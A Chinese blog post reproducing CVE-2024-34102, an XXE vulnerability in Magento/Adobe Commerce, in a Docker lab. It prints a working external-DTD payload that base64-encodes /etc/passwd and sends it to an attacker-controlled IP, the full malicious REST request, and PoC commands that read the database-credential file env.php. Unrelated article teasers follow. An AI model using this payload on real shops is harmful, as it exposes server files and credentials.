【漏洞复现】CVE-2024-34102 Magento Open Source XXE漏洞

目录

漏洞介绍

影响版本

环境搭建

查看版本

漏洞复现

手动复现

漏洞 poc


  • Magento Open Source 是一个免费开源的电子商务平台,适合中小企业或开发团队通过自定义代码和插件创建在线商店。它由社区开发和支持,功能强大但需要更多的技术投入。
  • Adobe Commerce 是 Magento 的付费版,增加了高级功能、托管服务、技术支持和企业工具,适合需要复杂功能和高性能支持的大型企业。

Magento Open Source 和 Adobe Commerce 都属于 Adobe 公司。它们来源于同一个平台:Magento,最初由 Magento, Inc. 开发,但后来在 2018 年被 Adobe 收购。在收购后,Adobe 将 Magento 平台重新划分为两种版本:Magento Open Source(社区版)和Adobe Commerce(企业版)。

漏洞介绍

Adobe Commerce和Magento Open Sourc多个受影响版本中存在XML外部实体引用限制不当,未经身份验证的威胁者可发送引用外部实体的恶意设计的 XML文档来利用该漏洞,成功利用可能导致任意代码执行。

影响版本

Adobe Commerce 和 Magento Open Source

  • 2.4.7-p1 and earlier
  • 2.4.6-p6 and earlier
  • 2.4.5-p8 and earlier
  • 2.4.4-p9 and earlier

环境搭建

安装 Magento 需要 至少 6GB 的 RAM 分配给 Docker。这是因为 Magento 是一个复杂且资源密集的电子商务平台,安装过程中需要运行多个服务和工具。

  • 系统:ubuntu2020
  • 版本:Magento Open Source 2.4.7

安装方法,参考:https://github.com/markshust/docker-magento/?tab=readme-ov-file#new-projects

mkdir -p ~/Sites/magento
cd $_
curl -s https://raw.githubusercontent.com/markshust/docker-magento/master/lib/template | bash
bin/download community 2.4.7 community
bin/setup magento.test

禁用 Magento 的双重认证模块,避免每次登录时输入验证码。

docker exec -it magento-phpfpm-1 bash
bin/magento module:disable Magento_AdminAdobeImsTwoFactorAuth
bin/magento module:disable Magento_TwoFactorAuth

然后绑定下 host 文件,访问:https://magento.test


如果访问网站响应非常慢,建议切换到生产模式。默认安装后在开发模式下运行,所有的配置和静态内容会在每次请求时动态加载,这会导致较慢的页面加载时间。

切换到 生产模式(production mode):

bin/magento deploy:mode:set production

如果在安装的时候,访问 Magento 需要密钥。username 为 public-key。Password 为 private-key

获取密钥的方式如下:

  1. 到官方注册 Magento 账号:Sign in
  2. 登录 Marketplace,打到My Profile 的 Access Keys 页面新建一个自己的 Access Key。或直接进入页面:Sign in

查看版本

bin/magento --version

漏洞复现

手动复现

1. 编辑 poc.xml 文件,读取 /etc/passwd 文件

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://192.168.67.147:80/poc.xml?%data;'>">

然后在当前目录启动一个 web 服务:http://192.168.67.147:80/poc.xml

python -m http.server 80

2. 构造请求利用 XXE 读取文件

POST /rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods HTTP/2
Host: magento.test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Content-Length: 267{"address": {"totalsReader": {"collectorList": {"totalCollector": {"sourceData": {"data": "<?xml version=\"1.0\" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM \"http://192.168.67.147:80/poc.xml\"> %sp; %param1; ]> <r>&exfil;</r>", "options":12345678 }}}}}}

漏洞 poc

poc:https://github.com/bigb0x/CVE-2024-34102,这里 poc 需要修改一下,将其中的 options 值修改为 12345678,否则有些文件读取不出来

cve-2024-34102.py -u https://magento.test -ip 本地ip -p 端口 -r /etc/passwd

读取 /var/www/html/app/etc/env.php 文件,这个文件定义了 Magento 的数据库连接信息,以及其他服务如 Elasticsearch、RabbitMQ 等服务的连接信息

cve-2024-34102.py -u https://magento.test -ip 192.168.67.147 -p 80 -r /var/www/html/app/etc/env.php

参考:

http://www.bmth666.cn/2024/06/28

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/489445.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

html自带的input年月日(date) /时间(datetime-local)/星期(week)/月份(month)/时间(time)控件

年月日期控件 type"date" <input type"date" id"StartDate" valueDateTime.Now.ToString("yyyy-MM-dd") /> //设置值 $("#StartDate").val("2024-12-12"); //获取值 var StartDate$("#StartDate&quo…

【C++】递归填充矩阵的理论解析与实现

博客主页&#xff1a; [小ᶻ☡꙳ᵃⁱᵍᶜ꙳] 本文专栏: C 文章目录 &#x1f4af;前言&#x1f4af;问题描述&#x1f4af;递归实现&#x1f4af;参数解析函数参数详解填充顺序分析递归终止条件 &#x1f4af;示例解析第一层递归第二层递归第三层递归最终输出 &#x1f4af…

Spark SQL 执行计划解析源码分析

本文用于记录Spark SQL执行计划解析的源码分析。文中仅对关键要点进行提及&#xff0c;无法面面具到&#xff0c;仅描述大体的框架。 Spark的Client有很多种&#xff0c;spark-sql&#xff0c;pyspark&#xff0c;spark- submit&#xff0c;R等各种提交方式&#xff0c;这里以…

Qt学习笔记第61到70讲

第61讲 记事本实现当前行高亮功能 实现策略&#xff1a; 获取当前行的光标位置&#xff0c;使用的信号和获取行列值是一样的&#xff0c;即通过ExtraSelection 来配置相关属性。 关键API&#xff1a; QList<QTextEdit::ExtraSelection> extraSelections; void setExtraSe…

使用CSS变量和JavaScript实现鼠标跟随渐变

实现鼠标跟随渐变效果的详细过程&#xff1a; 1. HTML 结构 我们在 HTML 中创建了一个 <div> 元素&#xff0c;用于展示渐变效果。这个元素的 ID 是 gradient-box&#xff0c;方便在 JavaScript 中进行操作。 2. CSS 样式 CSS 变量&#xff1a;在 :root 中定义了两个…

Wireshark如何查看数据包时间间隔

1.如果数据包量不大&#xff0c;抓包本身也不大&#xff0c;建议从绝对时间判断&#xff0c;打开wireshark软件&#xff0c;并点开相应要分析的抓包文件。 进入到最上方菜单<视图>,在弹出菜单选择时间显示格式&#xff0c;再在右侧菜单中选择自捕获经过的秒数。 这样就可…

Windows系统磁盘与分区之详解(Detailed Explanation of Windows System Disks and Partitions)

Windows系统磁盘与分区知识详解 在日常使用Windows操作系统的过程中,我们常常会接触到磁盘管理,磁盘分区等操作.然而,许多人可能并不完全理解磁盘和分区的运作原理以及如何高效管理它们. 本篇文章将探讨Windows系统中关于磁盘和分区的各种知识,帮助大家更好地理解磁盘以及分区…

【MySQL中多表查询和函数】

目录 1.多表查询 1.1 外键 1.2 链接查询 2.MySQL函数 内置函数简介 数值函数 字符串函数 时间日期函数 条件判断操作 开窗函数 1.多表查询 本质&#xff1a;把多个表通过主外键关联关系链接&#xff08;join&#xff09;合并成一个大表&#xff0c;在去单表查询操作…

如何理解html+css

上篇文章中&#xff0c;说道不会写代码能拥有自己的网站吗&#xff1f;答案当然是可以的。不过这就和住毛坯房的感觉是一样的&#xff0c;我要改一下房子的结构&#xff0c;要装修一下让房子变得更符合自己的气质就又不会了。所以呢了解下 前端html css是很有必要的。 1.html…

【原生js案例】如何让你的网页实现图片的按需加载

按需加载&#xff0c;这个词应该都不陌生了。我用到你的时候&#xff0c;你才出现就可以了。对于一个很多图片的网站&#xff0c;按需加载图片是优化网站性能的一个关键点。减少无效的http请求&#xff0c;提升网站加载速度。 感兴趣的可以关注下我的系列课程【webApp之h5端实…

Avalonia实战实例三:实现可输入框的ComboBox控件

文章目录 一、Avalonia中的ComboBox控件二、更改Template&#xff0c;并添加水印 接着上篇关闭按钮实现登录界面 实现一个可输入&#xff0c;可下拉的用户名输入框 一、Avalonia中的ComboBox控件 Avalonia中Fluent主题里ComboBox实现&#xff1a; <ControlTheme x:Key&q…

严蔚敏老师,一路走好

Hey&#xff0c;小伙伴们&#xff0c;今天我要和大家分享一个令人心痛的消息&#xff0c;但也是我们向一位伟大的学者致敬的时刻。&#xff1a;清华大学计算机教授、《数据结构》编著者严蔚敏 去世&#xff0c;享年 86 岁。她的离去&#xff0c;让无数学子和同行感到深深的哀痛…

【卷积神经网络】LeNet实践

模型建立 数据初始化根据模型搭建前向传播打印模型结构 前向传播数据初始化 def __init__(self):super(LeNet, self).__init__()# 第一层卷积层&#xff1a;# 输入&#xff1a;灰度图像 (1通道&#xff0c;大小 28x28)# 输出&#xff1a;6个特征图 (大小 28x28, 通过padding2保…

SpringBoot【十三(准备篇)】集成在线接口文档Swagger2

一、前言&#x1f525; 环境说明&#xff1a;Windows10 Idea2021.3.2 Jdk1.8 SpringBoot 2.3.1.RELEASE 二、swagger介绍 我就不卖关子啦&#xff0c;相信在座的各位很多都已经用过&#xff0c;但是没关系&#xff0c;只要全世界还有一个没用过&#xff0c;我都会给他讲。 那…

数字产业化和产业数字化到底是什么?

“数字产业化”和“产业数字化”在很多官方文件和领导人讲话中都是成对出现的&#xff0c;这两个术语看起来非常相似&#xff0c;但它们作为数字经济的两个重要组成部分&#xff0c;既有联系又有区别。 在谈数字产业化和产业数字化之前&#xff0c;我这里需要先给大家介绍一个概…

Java性能调优 - 多线程性能调优

锁优化 Synchronized 在JDK1.6中引入了分级锁机制来优化Synchronized。当一个线程获取锁时 首先对象锁将成为一个偏向锁&#xff0c;这样做是为了优化同一线程重复获取锁&#xff0c;导致的用户态与内核态的切换问题&#xff1b;其次如果有多个线程竞争锁资源&#xff0c;锁…

一文了解智能制造八大系统【ERP、MES、WMS、SCM、PLM、APS、QMS、TMS】

文章目录 一、前言二、ERP&#xff08;企业资源计划&#xff09;2.1 ERP 定义2.2 发展史2.3 ERP系统主要功能2.4 作用与不足2.4.1 ERP可以帮助企业实现以下目标&#xff1a;2.4.2 局限性&#xff1a; 三、MES&#xff08;制造执行系统&#xff09;3.1 MES 定义3.2 MES系统主要功…

js:我要在template中v-for循环遍历这个centrerTopdata,我希望自循环前面三个就可以了怎么写

问&#xff1a; 我按在要在template中v-for循环遍历这个centrerTopdata&#xff0c;我希望自循环前面三个就可以了怎么写&#xff1f; 回答&#xff1a; 问&#xff1a; <div v-for"(item, index) in centrerTopdata.slice(0, 3)" :key"index"> d…

Linux 权限及管理

目录 一、Linux权限 1、概念 2、超级用户和普通用户的相关操作 a. 添加用户&#xff0c;删除用户 b. 超级用户和普通用户的切换 c. sduo提权以及白名单设置 二、Linux权限管理 1、文件访问者的分类 2、文件访问类型和权限 a. 文件类型 b. 基本权限 3、文件权限值…

批量合并多个Excel到一个文件

工作中&#xff0c;我们经常需要将多个Excel的数据进行合并&#xff0c;很多插件都可以做这个功能。但是今天我们将介绍一个完全免费的独立软件【非插件】&#xff0c;来更加方便的实现这个功能。 准备Excel 这里我们准备了两张待合并的Excel文件 的卢易表 打开的卢易表软件…